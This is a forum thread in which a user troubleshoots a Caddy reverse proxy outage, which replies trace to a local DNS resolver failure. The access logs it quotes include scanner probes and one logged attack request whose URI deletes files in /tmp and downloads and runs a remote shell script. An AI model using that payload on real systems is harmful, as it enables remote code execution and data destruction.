Services down via Caddy

hestiap · January 22, 2023, 5:14pm

1. Output of `caddy version`:

v2.6.2 h1:wKoFIxpmOJLGl3QXoo6PNbYvGW4xLEgo32GPBEjWL8o=

2. How I run Caddy:

On a dedicated Linux VM
As a gate from internet to 3 servers (4 services), with reverse proxy
Also a filter on some countries with caddy-maxmind-geolocation

a. System environment:

ubuntu 20.04
systemd

b. Command:

sudo systemctl enable --now caddy

 sudo caddy run

c. Service/unit/compose file:

# caddy.service
#
# For using Caddy with a config file.
#
# Make sure the ExecStart and ExecReload commands are correct
# for your installation.
#
# See https://caddyserver.com/docs/install for instructions.
#
# WARNING: This service does not use the --resume flag, so if you
# use the API to make changes, they will be overwritten by the
# Caddyfile next time the service is restarted. If you intend to
# use Caddy's API to configure it, add the --resume flag to the
# `caddy run` command or use the caddy-api.service file instead.

[Unit]
Description=Caddy
Documentation=https://caddyserver.com/docs/
After=network.target network-online.target
Requires=network-online.target

[Service]
Type=notify
User=caddy
Group=caddy
ExecStart=/usr/bin/caddy run --environ --config /etc/caddy/Caddyfile
ExecReload=/usr/bin/caddy reload --config /etc/caddy/Caddyfile --force
TimeoutStopSec=5s
LimitNOFILE=1048576
LimitNPROC=512
PrivateDevices=yes
PrivateTmp=true
ProtectSystem=full
AmbientCapabilities=CAP_NET_BIND_SERVICE

[Install]
WantedBy=multi-user.target

d. My complete Caddy config:

# Caddyfile
# 13/12/2022 - initial
# 19/12/2022 - change check on utl and countries to allow robots on bris.fr
# 20/12/2022 - add basicauth for wp_adm in authorised countries
# 21/12/2022 - shorten it to simply reverse_proxy hestia.lan.bris.fr:8080
#               change logging
# 31/12/2022 - add basicauth
{
        #debug
        order rate_limit before basicauth
}

(logsW) {
        log {
                output file /var/log/caddy/access.log {
                        roll true
                        roll_size 10Mib
                        roll_local_time
                        roll_keep 20
                        roll_keep_for 30d
                }
        }
}

(checks) {
        # check if the client is local
        @is_local remote_ip 192.168.9.0/24

        # check if the client is from an authorised country (with the plugin caddy-maxmind-geolocation)
        @in_countries {
                maxmind_geolocation {
                        db_path "/usr/share/GeoIP/GeoLite2-Country.mmdb"
                        allow_countries FR PT DK SE NL AT BE DE LU IE IT ES GI GB CH MC AD LI NO VA SM
                }
        }

        # check if the url is wp admin... and so authorised from local only
        @url_wp_adm {
                path /wp-admin* /wp-login* /wp-comments*
        }
}

(rateLimit) {
        # rate limit for all client (static_limit) and each client (dynamic_limit)
        rate_limit {
                distributed
                zone static_limit {
                        key static
                        events 100
                        window 10s
                }
                zone dynamic_limit {
                        key {remote_host}
                        events 400
                        window 1m
                }
        }
}

(handleProxyWP) {
        # handle the reverse proxy for WordPress, based on the previous snippet with the target as argument

        import logsW
        import checks

        handle @is_local {
                reverse_proxy {args.0}
        }

        handle @url_wp_adm {
                handle @in_countries {
                        import /etc/caddy/basicauthWP
                        reverse_proxy {args.0}
                }
                handle {
                        abort
                }
        }

        handle {
                import rateLimit
                reverse_proxy {args.0}
        }
}

(handleProxyPublic) {
        # handle the reverse proxy for private sites, based on the previous snippet with the target as argument

        import logsW
        import checks

        handle @is_local {
                reverse_proxy {args.0}
        }

        handle @in_countries {
                #import /etc/caddy/basicauthPublic
                import rateLimit
                reverse_proxy {args.0}
        }

        handle {
                abort
        }
}

(handleProxyPrivate) {
        # handle the reverse proxy for private sites, based on the previous snippet with the target as argument

        import logsW
        import checks

        handle @is_local {
                reverse_proxy {args.0}
        }

        handle @in_countries {
                #import /etc/caddy/basicauthPrivate
                import rateLimit
                reverse_proxy {args.0}
        }

        handle {
                abort
        }
}

www.atelier.bris.fr bris.fr www.bris.fr {
        redir https://atelier.bris.fr{uri}
}

atelier.bris.fr {
        handle_path /defaultsite {
                redir https://atelier.bris.fr
        }

        import handleProxyWP atelier.lan.bris.fr:80
}

hestia.bris.fr {
        import handleProxyPrivate hestia.lan.bris.fr:8080
}

crios.bris.fr:5005 crios.bris.fr:5006 {
        import handleProxyPrivate crios.lan.bris.fr:5005
}

#crios.bris.fr:10002 crios.bris.fr:10003 {
#       import handleProxyPrivate crios.lan.bris.fr:10002
#}

#crios.bris.fr:6690 {
#       #reverse_proxy https://192.168.9.201:6690
#       import handleProxyPrivate crios.lan.bris.fr:6690
#}

crios.bris.fr:80 crios.bris.fr:443 {
        import handleProxyPrivate crios.lan.bris.fr:5000
}

acros.i234.me acros.bris.fr {
        import handleProxyPublic crios.lan.bris.fr:7000
}

3. The problem I’m having:

during several hours in 17/01/2023 all the services were down from the WAN (via Caddy) and on from the LAN (not from Caddy)
I did nothing (no way to do anything in remote)
All went up alone!
The servers / services are monitored (nagios, ping, ssh, http) and where up

the same from the LAN, no error log

4. Error messages and/or full log output:

extract of the log from before the issue:

Jan 17 14:07:59 cerberus caddy[1028]: {"level":"info","ts":1673960879.8968663,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"194.180.49.233","remote_port":"53696","proto":"HTTP/1.1","method":"GET","host":"86.246.221.222:80","uri":"/","headers":{}},"user_id":"","duration":0.000710723,"size":0,"status":308,"resp_headers":{"Server":["Caddy"],"Connection":["close"],"Location":["https://86.246.221.222/"],"Content-Type":[]}}
Jan 17 14:25:32 cerberus caddy[1028]: {"level":"info","ts":1673961932.5200863,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"152.89.196.211","remote_port":"57018","proto":"HTTP/1.1","method":"GET","host":"86.246.221.222:80","uri":"/console/","headers":{"Accept-Encoding":["gzip"],"Connection":["close"],"User-Agent":["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"]}},"user_id":"","duration":0.000366532,"size":0,"status":308,"resp_headers":{"Server":["Caddy"],"Connection":["close"],"Location":["https://86.246.221.222/console/"],"Content-Type":[]}}
Jan 17 14:28:14 cerberus caddy[1028]: {"level":"info","ts":1673962094.039402,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"179.43.177.242","remote_port":"60166","proto":"HTTP/1.1","method":"GET","host":"86.246.221.222:80","uri":"/","headers":{"User-Agent":["Hello World"]}},"user_id":"","duration":0.000444861,"size":0,"status":308,"resp_headers":{"Server":["Caddy"],"Connection":["close"],"Location":["https://86.246.221.222/"],"Content-Type":[]}}
Jan 17 14:31:35 cerberus caddy[1028]: {"level":"info","ts":1673962295.1300569,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"143.244.147.166","remote_port":"29006","proto":"HTTP/1.1","method":"GET","host":"86.246.221.222","uri":"/","headers":{"Accept":["*/*"],"Accept-Charset":["UTF-8"],"Accept-Encoding":["UTF-8"],"Accept-Language":["*"],"User-Agent":["Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0"]}},"user_id":"","duration":0.000194409,"size":0,"status":308,"resp_headers":{"Server":["Caddy"],"Connection":["close"],"Location":["https://86.246.221.222/"],"Content-Type":[]}}
Jan 17 14:35:56 cerberus caddy[1028]: {"level":"info","ts":1673962556.738984,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"92.118.39.29","remote_port":"52300","proto":"HTTP/1.1","method":"GET","host":"86.246.221.222:80","uri":"/","headers":{}},"user_id":"","duration":0.000179684,"size":0,"status":308,"resp_headers":{"Content-Type":[],"Server":["Caddy"],"Connection":["close"],"Location":["https://86.246.221.222/"]}}
Jan 17 14:37:32 cerberus caddy[1028]: {"level":"info","ts":1673962652.765815,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"152.89.196.211","remote_port":"57096","proto":"HTTP/1.1","method":"POST","host":"86.246.221.222:80","uri":"/Autodiscover/Autodiscover.xml","headers":{"User-Agent":["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"],"Connection":["close"],"Content-Length":["314"],"Accept-Encoding":["gzip"],"Content-Type":["application/xml"]}},"user_id":"","duration":0.000434846,"size":0,"status":308,"resp_headers":{"Server":["Caddy"],"Connection":["close"],"Location":["https://86.246.221.222/Autodiscover/Autodiscover.xml"],"Content-Type":[]}}
Jan 17 14:40:45 cerberus caddy[1028]: {"level":"info","ts":1673962845.2851794,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"80.94.92.57","remote_port":"47604","proto":"HTTP/1.1","method":"GET","host":"86.246.221.222","uri":"/","headers":{"User-Agent":["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46"],"Accept-Encoding":["gzip, deflate","gzip, deflate"],"Accept":["*/*"],"Connection":["keep-alive"],"Content-Type":["application/x-www-form-urlencoded; charset=UTF-8"],"X-Requested-With":["XMLHttpRequest"],"Accept-Language":["en US,en;q=0.9,sv;q=0.8"]}},"user_id":"","duration":0.000448918,"size":0,"status":308,"resp_headers":{"Server":["Caddy"],"Connection":["close"],"Location":["https://86.246.221.222/"],"Content-Type":[]}}
Jan 17 14:43:12 cerberus caddy[1028]: {"level":"info","ts":1673962992.20776,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"152.89.196.211","remote_port":"36844","proto":"HTTP/1.1","method":"GET","host":"86.246.221.222:80","uri":"/_ignition/execute-solution","headers":{"Connection":["close"],"User-Agent":["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"],"Content-Type":["application/json"],"Accept-Encoding":["gzip"]}},"user_id":"","duration":0.000382215,"size":0,"status":308,"resp_headers":{"Server":["Caddy"],"Connection":["close"],"Location":["https://86.246.221.222/_ignition/execute-solution"],"Content-Type":[]}}
Jan 17 15:03:06 cerberus caddy[1028]: {"level":"info","ts":1673964186.5553832,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"34.78.6.216","remote_port":"58034","proto":"HTTP/1.1","method":"GET","host":"86.246.221.222","uri":"/","headers":{"Accept-Encoding":["gzip, deflate"],"Connection":["keep-alive"],"X-Datadog-Parent-Id":["18136988779113406088"],"X-Datadog-Sampling-Priority":["1"],"Accept":["*/*"],"X-Datadog-Trace-Id":["930151080923232233"],"User-Agent":["python-requests/2.28.1"]}},"user_id":"","duration":0.00046046,"size":0,"status":308,"resp_headers":{"Connection":["close"],"Location":["https://86.246.221.222/"],"Content-Type":[],"Server":["Caddy"]}}
Jan 17 15:05:15 cerberus caddy[1028]: {"level":"error","ts":1673964315.6792998,"logger":"http.log.error.log1","msg":"dial tcp: lookup hestia.lan.bris.fr on 127.0.0.53:53: no such host","request":{"remote_ip":"192.168.9.1","remote_port":"48852","proto":"HTTP/1.1","method":"HEAD","host":"hestia.bris.fr","uri":"/","headers":{"User-Agent":["Wget/1.20.1 (linux-gnueabihf)"],"Accept":["*/*"],"Accept-Encoding":["identity"],"Connection":["Keep-Alive"]},"tls":{"resumed":false,"version":772,"cipher_suite":4865,"proto":"","server_name":"hestia.bris.fr"}},"duration":0.115449717,"status":502,"err_id":"5d2ew2nr9","err_trace":"reverseproxy.statusError (reverseproxy.go:1272)"}
Jan 17 15:05:16 cerberus caddy[1028]: {"level":"error","ts":1673964316.9406564,"logger":"http.log.error.log0","msg":"dial tcp: lookup atelier.lan.bris.fr on 127.0.0.53:53: no such host","request":{"remote_ip":"192.168.9.1","remote_port":"48862","proto":"HTTP/1.1","method":"HEAD","host":"atelier.bris.fr","uri":"/","headers":{"Accept":["*/*"],"Accept-Encoding":["identity"],"Connection":["Keep-Alive"],"User-Agent":["Wget/1.20.1 (linux-gnueabihf)"]},"tls":{"resumed":false,"version":772,"cipher_suite":4865,"proto":"","server_name":"atelier.bris.fr"}},"duration":0.074550132,"status":502,"err_id":"5yikw8jv7","err_trace":"reverseproxy.statusError (reverseproxy.go:1272)"}
Jan 17 15:08:30 cerberus caddy[1028]: {"level":"info","ts":1673964510.6997175,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"146.190.87.7","remote_port":"60696","proto":"HTTP/1.1","method":"GET","host":"86.246.221.222","uri":"/","headers":{"Accept":["*/*"],"User-Agent":["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"],"Connection":["close"]}},"user_id":"","duration":0.000172625,"size":0,"status":308,"resp_headers":{"Server":["Caddy"],"Connection":["close"],"Location":["https://86.246.221.222/"],"Content-Type":[]}}
Jan 17 15:10:02 cerberus caddy[1028]: {"level":"error","ts":1673964602.1612694,"logger":"http.log.error.log0","msg":"dial tcp: lookup atelier.lan.bris.fr on 127.0.0.53:53: no such host","request":{"remote_ip":"192.168.9.1","remote_port":"46874","proto":"HTTP/2.0","method":"GET","host":"atelier.bris.fr","uri":"/wp-admin/admin-ajax.php?action=boldgrid_backup_run_jobs&id=b8f3d002&secret=474e40b978ba98720eef870dca527fe4dc8bab5ead188ba96a8a95bec6559976&doing_wp_cron=1673964602","headers":{"User-Agent":["BoldGrid task"],"Accept":["*/*"]},"tls":{"resumed":false,"version":772,"cipher_suite":4865,"proto":"h2","server_name":"atelier.bris.fr"}},"duration":0.065793886,"status":502,"err_id":"5eswfffta","err_trace":"reverseproxy.statusError (reverseproxy.go:1272)"}
Jan 17 15:10:03 cerberus caddy[1028]: {"level":"error","ts":1673964603.527791,"logger":"http.log.error.log3","msg":"dial tcp: lookup crios.lan.bris.fr on 127.0.0.53:53: no such host","request":{"remote_ip":"192.168.9.1","remote_port":"49424","proto":"HTTP/1.1","method":"HEAD","host":"crios.bris.fr","uri":"/","headers":{"User-Agent":["Wget/1.20.1 (linux-gnueabihf)"],"Accept":["*/*"],"Accept-Encoding":["identity"],"Connection":["Keep-Alive"]},"tls":{"resumed":false,"version":772,"cipher_suite":4865,"proto":"","server_name":"crios.bris.fr"}},"duration":0.108177517,"status":502,"err_id":"j1944r8xu","err_trace":"reverseproxy.statusError (reverseproxy.go:1272)"}
Jan 17 15:10:04 cerberus caddy[1028]: {"level":"error","ts":1673964604.8145046,"logger":"http.log.error.log4","msg":"dial tcp: lookup crios.lan.bris.fr on 127.0.0.53:53: no such host","request":{"remote_ip":"192.168.9.1","remote_port":"49430","proto":"HTTP/1.1","method":"HEAD","host":"acros.bris.fr","uri":"/","headers":{"Accept":["*/*"],"Accept-Encoding":["identity"],"Connection":["Keep-Alive"],"User-Agent":["Wget/1.20.1 (linux-gnueabihf)"]},"tls":{"resumed":false,"version":772,"cipher_suite":4865,"proto":"","server_name":"acros.bris.fr"}},"duration":0.06071497,"status":502,"err_id":"n3z6n8tnt","err_trace":"reverseproxy.statusError (reverseproxy.go:1272)"}
Jan 17 15:10:08 cerberus caddy[1028]: {"level":"error","ts":1673964608.773058,"logger":"http.log.error.log4","msg":"dial tcp: lookup crios.lan.bris.fr on 127.0.0.53:53: no such host","request":{"remote_ip":"192.168.9.1","remote_port":"49448","proto":"HTTP/1.1","method":"HEAD","host":"acros.i234.me","uri":"/","headers":{"User-Agent":["Wget/1.20.1 (linux-gnueabihf)"],"Accept":["*/*"],"Accept-Encoding":["identity"],"Connection":["Keep-Alive"]},"tls":{"resumed":false,"version":772,"cipher_suite":4865,"proto":"","server_name":"acros.i234.me"}},"duration":0.062615841,"status":502,"err_id":"q07fbxu49","err_trace":"reverseproxy.statusError (reverseproxy.go:1272)"}
Jan 17 15:10:10 cerberus caddy[1028]: {"level":"error","ts":1673964610.0191739,"logger":"http.log.error.log1","msg":"dial tcp: lookup hestia.lan.bris.fr on 127.0.0.53:53: no such host","request":{"remote_ip":"192.168.9.1","remote_port":"49454","proto":"HTTP/1.1","method":"HEAD","host":"hestia.bris.fr","uri":"/","headers":{"Accept":["*/*"],"Accept-Encoding":["identity"],"Connection":["Keep-Alive"],"User-Agent":["Wget/1.20.1 (linux-gnueabihf)"]},"tls":{"resumed":false,"version":772,"cipher_suite":4865,"proto":"","server_name":"hestia.bris.fr"}},"duration":0.061242738,"status":502,"err_id":"39vpzhzhd","err_trace":"reverseproxy.statusError (reverseproxy.go:1272)"}
Jan 17 15:10:11 cerberus caddy[1028]: {"level":"error","ts":1673964611.3382607,"logger":"http.log.error.log0","msg":"dial tcp: lookup atelier.lan.bris.fr on 127.0.0.53:53: no such host","request":{"remote_ip":"192.168.9.1","remote_port":"49458","proto":"HTTP/1.1","method":"HEAD","host":"atelier.bris.fr","uri":"/","headers":{"User-Agent":["Wget/1.20.1 (linux-gnueabihf)"],"Accept":["*/*"],"Accept-Encoding":["identity"],"Connection":["Keep-Alive"]},"tls":{"resumed":false,"version":772,"cipher_suite":4865,"proto":"","server_name":"atelier.bris.fr"}},"duration":0.063574663,"status":502,"err_id":"xjjhv5snu","err_trace":"reverseproxy.statusError (reverseproxy.go:1272)"}
Jan 17 15:10:35 cerberus caddy[1028]: {"level":"info","ts":1673964635.796876,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"152.89.196.211","remote_port":"42200","proto":"HTTP/1.1","method":"GET","host":"86.246.221.222:80","uri":"/","headers":{"User-Agent":["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"],"Content-Type":["application/json"],"Accept-Encoding":["gzip"],"Connection":["close"]}},"user_id":"","duration":0.000375624,"size":0,"status":308,"resp_headers":{"Server":["Caddy"],"Connection":["close"],"Location":["https://86.246.221.222/"],"Content-Type":[]}}
Jan 17 15:10:44 cerberus caddy[1028]: {"level":"info","ts":1673964644.823877,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"46.101.220.48","remote_port":"58824","proto":"HTTP/1.1","method":"GET","host":"86.246.221.222","uri":"/aaa9","headers":{"User-Agent":["Mozilla/5.0 zgrab/0.x"],"Accept":["*/*"],"Accept-Encoding":["gzip"]}},"user_id":"","duration":0.00017489,"size":0,"status":308,"resp_headers":{"Server":["Caddy"],"Connection":["close"],"Location":["https://86.246.221.222/aaa9"],"Content-Type":[]}}
Jan 17 15:10:44 cerberus caddy[1028]: {"level":"info","ts":1673964644.8893845,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"46.101.220.48","remote_port":"58840","proto":"HTTP/1.1","method":"GET","host":"86.246.221.222","uri":"/aab8","headers":{"User-Agent":["Mozilla/5.0 zgrab/0.x"],"Accept":["*/*"],"Accept-Encoding":["gzip"]}},"user_id":"","duration":0.000174324,"size":0,"status":308,"resp_headers":{"Connection":["close"],"Location":["https://86.246.221.222/aab8"],"Content-Type":[],"Server":["Caddy"]}}
Jan 17 15:15:01 cerberus caddy[1028]: {"level":"error","ts":1673964901.5506232,"logger":"http.log.error.log0","msg":"dial tcp: lookup atelier.lan.bris.fr on 127.0.0.53:53: no such host","request":{"remote_ip":"192.168.9.1","remote_port":"57804","proto":"HTTP/2.0","method":"GET","host":"atelier.bris.fr","uri":"/wp-admin/admin-ajax.php?action=boldgrid_backup_run_jobs&id=b8f3d002&secret=474e40b978ba98720eef870dca527fe4dc8bab5ead188ba96a8a95bec6559976&doing_wp_cron=1673964901","headers":{"Accept":["*/*"],"User-Agent":["BoldGrid task"]},"tls":{"resumed":false,"version":772,"cipher_suite":4865,"proto":"h2","server_name":"atelier.bris.fr"}},"duration":0.063279754,"status":502,"err_id":"uuv8je8am","err_trace":"reverseproxy.statusError (reverseproxy.go:1272)"}
Jan 17 15:15:02 cerberus caddy[1028]: {"level":"error","ts":1673964902.8358977,"logger":"http.log.error.log3","msg":"dial tcp: lookup crios.lan.bris.fr on 127.0.0.53:53: no such host","request":{"remote_ip":"192.168.9.1","remote_port":"50018","proto":"HTTP/1.1","method":"HEAD","host":"crios.bris.fr","uri":"/","headers":{"Connection":["Keep-Alive"],"User-Agent":["Wget/1.20.1 (linux-gnueabihf)"],"Accept":["*/*"],"Accept-Encoding":["identity"]},"tls":{"resumed":false,"version":772,"cipher_suite":4865,"proto":"","server_name":"crios.bris.fr"}},"duration":0.077827524,"status":502,"err_id":"d4uh17ciz","err_trace":"reverseproxy.statusError (reverseproxy.go:1272)"}
Jan 17 15:15:04 cerberus caddy[1028]: {"level":"error","ts":1673964904.1584916,"logger":"http.log.error.log4","msg":"dial tcp: lookup crios.lan.bris.fr on 127.0.0.53:53: no such host","request":{"remote_ip":"192.168.9.1","remote_port":"50024","proto":"HTTP/1.1","method":"HEAD","host":"acros.bris.fr","uri":"/","headers":{"Connection":["Keep-Alive"],"User-Agent":["Wget/1.20.1 (linux-gnueabihf)"],"Accept":["*/*"],"Accept-Encoding":["identity"]},"tls":{"resumed":false,"version":772,"cipher_suite":4865,"proto":"","server_name":"acros.bris.fr"}},"duration":0.074759544,"status":502,"err_id":"kjfye2nra","err_trace":"reverseproxy.statusError (reverseproxy.go:1272)"}
Jan 17 15:15:08 cerberus caddy[1028]: {"level":"error","ts":1673964908.758371,"logger":"http.log.error.log4","msg":"dial tcp: lookup crios.lan.bris.fr on 127.0.0.53:53: no such host","request":{"remote_ip":"192.168.9.1","remote_port":"50042","proto":"HTTP/1.1","method":"HEAD","host":"acros.i234.me","uri":"/","headers":{"User-Agent":["Wget/1.20.1 (linux-gnueabihf)"],"Accept":["*/*"],"Accept-Encoding":["identity"],"Connection":["Keep-Alive"]},"tls":{"resumed":false,"version":772,"cipher_suite":4865,"proto":"","server_name":"acros.i234.me"}},"duration":0.064202897,"status":502,"err_id":"09cwdzx3s","err_trace":"reverseproxy.statusError (reverseproxy.go:1272)"}
Jan 17 15:15:10 cerberus caddy[1028]: {"level":"error","ts":1673964910.069345,"logger":"http.log.error.log1","msg":"dial tcp: lookup hestia.lan.bris.fr on 127.0.0.53:53: no such host","request":{"remote_ip":"192.168.9.1","remote_port":"50048","proto":"HTTP/1.1","method":"HEAD","host":"hestia.bris.fr","uri":"/","headers":{"Connection":["Keep-Alive"],"User-Agent":["Wget/1.20.1 (linux-gnueabihf)"],"Accept":["*/*"],"Accept-Encoding":["identity"]},"tls":{"resumed":false,"version":772,"cipher_suite":4865,"proto":"","server_name":"hestia.bris.fr"}},"duration":0.062962019,"status":502,"err_id":"k4ha7741k","err_trace":"reverseproxy.statusError (reverseproxy.go:1272)"}
Jan 17 15:15:11 cerberus caddy[1028]: {"level":"error","ts":1673964911.357483,"logger":"http.log.error.log0","msg":"dial tcp: lookup atelier.lan.bris.fr on 127.0.0.53:53: no such host","request":{"remote_ip":"192.168.9.1","remote_port":"50052","proto":"HTTP/1.1","method":"HEAD","host":"atelier.bris.fr","uri":"/","headers":{"User-Agent":["Wget/1.20.1 (linux-gnueabihf)"],"Accept":["*/*"],"Accept-Encoding":["identity"],"Connection":["Keep-Alive"]},"tls":{"resumed":false,"version":772,"cipher_suite":4865,"proto":"","server_name":"atelier.bris.fr"}},"duration":0.06669234,"status":502,"err_id":"vwsnxa7vu","err_trace":"reverseproxy.statusError (reverseproxy.go:1272)"}
Jan 17 15:16:31 cerberus caddy[1028]: {"level":"info","ts":1673964991.379713,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"183.215.18.162","remote_port":"46100","proto":"HTTP/1.1","method":"GET","host":"127.0.0.1:80","uri":"/shell?cd+/tmp;rm+-rf+*;wget+5.255.105.71/76d32be0.sh;sh+/tmp/76d32be0.sh","headers":{"User-Agent":["Hello, world"],"Accept":["text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"],"Connection":["keep-alive"]}},"user_id":"","duration":0.000173739,"size":0,"status":308,"resp_headers":{"Server":["Caddy"],"Connection":["close"],"Location":["https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+5.255.105.71/76d32be0.sh;sh+/tmp/76d32be0.sh"],"Content-Type":[]}}
Jan 17 15:18:34 cerberus caddy[1028]: {"level":"info","ts":1673965114.202367,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"67.222.19.104","remote_port":"37280","proto":"HTTP/1.1","method":"GET","host":"bris.fr","uri":"/style.php?sig=rename","headers":{"User-Agent":["Mozilla/5.0 (iPad; CPU OS 12_4_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Mobile/15E148 Safari/604.1"],"Accept":["*/*"]}},"user_id":"","duration":0.000559053,"size":0,"status":308,"resp_headers":{"Server":["Caddy"],"Connection":["close"],"Location":["https://bris.fr/style.php?sig=rename"],"Content-Type":[]}}
Jan 17 15:18:34 cerberus caddy[1028]: {"level":"info","ts":1673965114.2074533,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"67.222.19.104","remote_port":"37282","proto":"HTTP/1.1","method":"GET","host":"bris.fr","uri":"/wp-admin/style.php?sig=rename","headers":{"User-Agent":["Mozilla/5.0 (Linux; arm_64; Android 7.1.1; Lenovo TB-8504X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.127 YaBrowser/20.9.1.66.01 Safari/537.36"],"Accept":["*/*"]}},"user_id":"","duration":0.000167688,"size":0,"status":308,"resp_headers":{"Server":["Caddy"],"Connection":["close"],"Location":["https://bris.fr/wp-admin/style.php?sig=rename"],"Content-Type":[]}}
Jan 17 15:18:35 cerberus caddy[1028]: {"level":"error","ts":1673965115.4012334,"logger":"http.log.error.log0","msg":"dial tcp: lookup atelier.lan.bris.fr on 127.0.0.53:53: no such host","request":{"remote_ip":"67.222.19.104","remote_port":"40146","proto":"HTTP/2.0","method":"GET","host":"atelier.bris.fr","uri":"/style.php?sig=rename","headers":{"User-Agent":["Mozilla/5.0 (iPad; CPU OS 12_4_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Mobile/15E148 Safari/604.1"],"Accept":["*/*"]},"tls":{"resumed":false,"version":772,"cipher_suite":4865,"proto":"h2","server_name":"atelier.bris.fr"}},"duration":0.092044981,"status":502,"err_id":"8znh7ifgh","err_trace":"reverseproxy.statusError (reverseproxy.go:1272)"}

5. What I already tried:

I’ve looked at the log and checked other monitoring like Nagios to see that the services where up (from the LAN, except atelier.bris.fr which is only web)

6. Links to relevant resources:

francislavoie · January 23, 2023, 1:07am

Whatever the issue was, it was caused by something outside Caddy.

Your system’s DNS resolver might have had some issues. I couldn’t tell you why though.

emilylange · January 23, 2023, 2:30am

127.0.0.53 is systemd-resolved’s default bind address, so might be able to see what happened with

journalctl -u systemd-resolved

hestiap · January 23, 2023, 7:01am

Thanks @francislavoie
what I understand is that the DNS resolver on this system had some issues, as it was working on other servers, because for instance hestia.lan.bris.fr was reached from another server
Jan 17 15:05:15 cerberus caddy[1028]: {"level":"error","ts":1673964315.6792998,"logger":"http.log.error.log1","msg":"dial tcp: lookup hestia.lan.bris.fr on 127.0.0.53:53: no such host","request":{"remote_ip":"192.168.9.1","remote_port":"48852","proto":"HTTP/1.1","method":"HEAD","host":"hestia.bris.fr","uri":"/","headers":{"User-Agent":["Wget/1.20.1 (linux-gnueabihf)"],"Accept":["*/*"],"Accept-Encoding":["identity"],"Connection":["Keep-Alive"]},"tls":{"resumed":false,"version":772,"cipher_suite":4865,"proto":"","server_name":"hestia.bris.fr"}},"duration":0.115449717,"status":502,"err_id":"5d2ew2nr9","err_trace":"reverseproxy.statusError (reverseproxy.go:1272)"}

Thanks @emilylange

on that day (Jan 17), there was nothing in this log

Jan 16 04:16:44 cerberus systemd-resolved[588]: Clock change detected. Flushing                                                                              caches.
Jan 23 04:16:18 cerberus systemd-resolved[588]: Clock change detected. Flushing                                                                              caches.

system · February 22, 2023, 7:01am

This topic was automatically closed 30 days after the last reply. New replies are no longer allowed.